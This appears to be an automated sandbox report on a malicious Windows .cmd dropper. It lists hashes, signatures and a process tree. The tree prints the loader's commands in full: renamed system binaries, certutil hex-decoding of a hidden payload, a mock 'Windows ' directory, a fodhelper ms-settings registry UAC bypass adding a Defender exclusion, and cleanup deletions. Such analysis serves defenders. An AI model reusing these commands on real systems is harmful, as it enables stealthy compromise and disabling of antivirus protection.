e84dd67c7831168c1d7a0f11a78d1e0497eb1cfa8689b25b291ee4b1b96826a4

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
15-05-2024 08:48

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General

Target

doc023561361500.cmd
Size

4.9MB
MD5

d05bed0572c3ce597f3b4be7a2606c08
SHA1

f621468b397308f1055afaf2f27814a390eb16ea
SHA256

e84dd67c7831168c1d7a0f11a78d1e0497eb1cfa8689b25b291ee4b1b96826a4
SHA512

4fbe7a932d91882491648b489ec1e2c349ec71423c071e3f751c130e51ae62881473a9feaf3d842c60ed2fb6922b59f0b611491145e84b07e7145efb0ca7ec79
SSDEEP

24576:sYkuWvLHtSs/yfVZIC5z65HTGq42xfcJele9P2dxBJGhRC8Ih:sYkuWTcDXB65HPxfhleljIh

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 24 IoCs

pid	Process
2892	alpha.exe
2164	alpha.exe
2744	alpha.exe
2964	alpha.exe
2616	kn.exe
2680	alpha.exe
2828	alpha.exe
2712	alpha.exe
2788	alpha.exe
2324	xkn.exe
2168	alpha.exe
496	ger.exe
2124	alpha.exe
1664	kn.exe
1572	alpha.exe
2192	Ping_c.pif
1212	alpha.exe
2644	alpha.exe
1648	alpha.exe
1628	alpha.exe
1600	alpha.exe
1972	alpha.exe
1964	alpha.exe
1968	alpha.exe

Loads dropped DLL 15 IoCs

pid	Process
2180	cmd.exe
2180	cmd.exe
2180	cmd.exe
2180	cmd.exe
2964	alpha.exe
2180	cmd.exe
2180	cmd.exe
2180	cmd.exe
2180	cmd.exe
2788	alpha.exe
2324	xkn.exe
2324	xkn.exe
2168	alpha.exe
1208	WerFault.exe
1208	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1208	2192	WerFault.exe	51

Kills process with taskkill 1 IoCs

evasion

pid	Process
2696	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\ms-settings\shell\open	ger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\ms-settings\shell	ger.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2192	Ping_c.pif

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2324	xkn.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	xkn.exe
Token: SeDebugPrivilege	2696	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 1184	2180	cmd.exe	30
PID 2180 wrote to memory of 1184	2180	cmd.exe	30
PID 2180 wrote to memory of 1184	2180	cmd.exe	30
PID 2180 wrote to memory of 2892	2180	cmd.exe	31
PID 2180 wrote to memory of 2892	2180	cmd.exe	31
PID 2180 wrote to memory of 2892	2180	cmd.exe	31
PID 2180 wrote to memory of 2164	2180	cmd.exe	32
PID 2180 wrote to memory of 2164	2180	cmd.exe	32
PID 2180 wrote to memory of 2164	2180	cmd.exe	32
PID 2180 wrote to memory of 2744	2180	cmd.exe	33
PID 2180 wrote to memory of 2744	2180	cmd.exe	33
PID 2180 wrote to memory of 2744	2180	cmd.exe	33
PID 2744 wrote to memory of 1152	2744	alpha.exe	34
PID 2744 wrote to memory of 1152	2744	alpha.exe	34
PID 2744 wrote to memory of 1152	2744	alpha.exe	34
PID 2180 wrote to memory of 2964	2180	cmd.exe	35
PID 2180 wrote to memory of 2964	2180	cmd.exe	35
PID 2180 wrote to memory of 2964	2180	cmd.exe	35
PID 2964 wrote to memory of 2616	2964	alpha.exe	36
PID 2964 wrote to memory of 2616	2964	alpha.exe	36
PID 2964 wrote to memory of 2616	2964	alpha.exe	36
PID 2180 wrote to memory of 2680	2180	cmd.exe	37
PID 2180 wrote to memory of 2680	2180	cmd.exe	37
PID 2180 wrote to memory of 2680	2180	cmd.exe	37
PID 2680 wrote to memory of 2668	2680	alpha.exe	38
PID 2680 wrote to memory of 2668	2680	alpha.exe	38
PID 2680 wrote to memory of 2668	2680	alpha.exe	38
PID 2180 wrote to memory of 2828	2180	cmd.exe	39
PID 2180 wrote to memory of 2828	2180	cmd.exe	39
PID 2180 wrote to memory of 2828	2180	cmd.exe	39
PID 2828 wrote to memory of 2824	2828	alpha.exe	40
PID 2828 wrote to memory of 2824	2828	alpha.exe	40
PID 2828 wrote to memory of 2824	2828	alpha.exe	40
PID 2180 wrote to memory of 2712	2180	cmd.exe	41
PID 2180 wrote to memory of 2712	2180	cmd.exe	41
PID 2180 wrote to memory of 2712	2180	cmd.exe	41
PID 2712 wrote to memory of 2496	2712	alpha.exe	42
PID 2712 wrote to memory of 2496	2712	alpha.exe	42
PID 2712 wrote to memory of 2496	2712	alpha.exe	42
PID 2180 wrote to memory of 2788	2180	cmd.exe	43
PID 2180 wrote to memory of 2788	2180	cmd.exe	43
PID 2180 wrote to memory of 2788	2180	cmd.exe	43
PID 2788 wrote to memory of 2324	2788	alpha.exe	44
PID 2788 wrote to memory of 2324	2788	alpha.exe	44
PID 2788 wrote to memory of 2324	2788	alpha.exe	44
PID 2324 wrote to memory of 2168	2324	xkn.exe	45
PID 2324 wrote to memory of 2168	2324	xkn.exe	45
PID 2324 wrote to memory of 2168	2324	xkn.exe	45
PID 2168 wrote to memory of 496	2168	alpha.exe	46
PID 2168 wrote to memory of 496	2168	alpha.exe	46
PID 2168 wrote to memory of 496	2168	alpha.exe	46
PID 2180 wrote to memory of 2124	2180	cmd.exe	47
PID 2180 wrote to memory of 2124	2180	cmd.exe	47
PID 2180 wrote to memory of 2124	2180	cmd.exe	47
PID 2124 wrote to memory of 1664	2124	alpha.exe	48
PID 2124 wrote to memory of 1664	2124	alpha.exe	48
PID 2124 wrote to memory of 1664	2124	alpha.exe	48
PID 2180 wrote to memory of 1572	2180	cmd.exe	49
PID 2180 wrote to memory of 1572	2180	cmd.exe	49
PID 2180 wrote to memory of 1572	2180	cmd.exe	49
PID 1572 wrote to memory of 2696	1572	alpha.exe	50
PID 1572 wrote to memory of 2696	1572	alpha.exe	50
PID 1572 wrote to memory of 2696	1572	alpha.exe	50
PID 2180 wrote to memory of 2192	2180	cmd.exe	51

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:1184
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:1152
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
    3⤵
    - Executes dropped EXE
    PID:2616
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
    3⤵
    PID:2668
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
    3⤵
    PID:2824
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
    3⤵
    PID:2496
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Users\Public\xkn.exe
    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Users\Public\alpha.exe
      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2168
    - - C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        5⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:496
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
    3⤵
    - Executes dropped EXE
    PID:1664
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1572
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2696
- C:\Users\Public\Libraries\Ping_c.pif
  C:\Users\Public\Libraries\Ping_c.pif
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2192
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2192 -s 724
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:1208
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1972
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Libraries\Ping_c.pif

Filesize
1.7MB

MD5
ba58a19a6475eff2c5bb9b6dfc7d9dd3

SHA1
407eda96d6cc766e17a6a27cf37cc63dd82537f3

SHA256
22d6ea142dc14e08475c61aac8555f3996ef80701474865f2ed7db42cd9e2e57

SHA512
6e53a2642c36cddc8cad22ca898c358d3393bd0a880fb5d364cb4aa38ef200b9b0b06dd03a13d05ef91e9867cb172eb2e05a021f0b28282028f8a1eaacdaf9e0

Download Submit
C:\Users\Public\Ping_c.mp4

Filesize
3.4MB

MD5
c5d58251c6989580fcf2b5d75ea57467

SHA1
1b5c775600d8aa1e247574a9ff8620a3c2e74347

SHA256
36df0e80ac34f848b1934565413598f7c2087a81e6e4bd69de10be2f86ed15ee

SHA512
9efdb53e6902716f1e4ee794dd1e315080817c6eb8045f8a2c62478fb05d8aae7d53b3a8595842f319f49c8075f7522341feea66a47b0f438690905e405c76fc

Download Submit
C:\Users\Public\ger.exe

Filesize
73KB

MD5
9d0b3066fe3d1fd345e86bc7bcced9e4

SHA1
e05984a6671fcfecbc465e613d72d42bda35fd90

SHA256
4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

SHA512
d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

Download Submit
\Users\Public\alpha.exe

Filesize
337KB

MD5
5746bd7e255dd6a8afa06f7c42c1ba41

SHA1
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

SHA256
db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

SHA512
3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

Download Submit
\Users\Public\kn.exe

Filesize
1.1MB

MD5
ec1fd3050dbc40ec7e87ab99c7ca0b03

SHA1
ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

SHA256
1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

SHA512
4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

Download Submit
\Users\Public\xkn.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2192-71-0x0000000000400000-0x00000000005B9000-memory.dmp

Filesize
1.7MB

Download
memory/2324-43-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2324-44-0x0000000001D30000-0x0000000001D38000-memory.dmp

Filesize
32KB

Download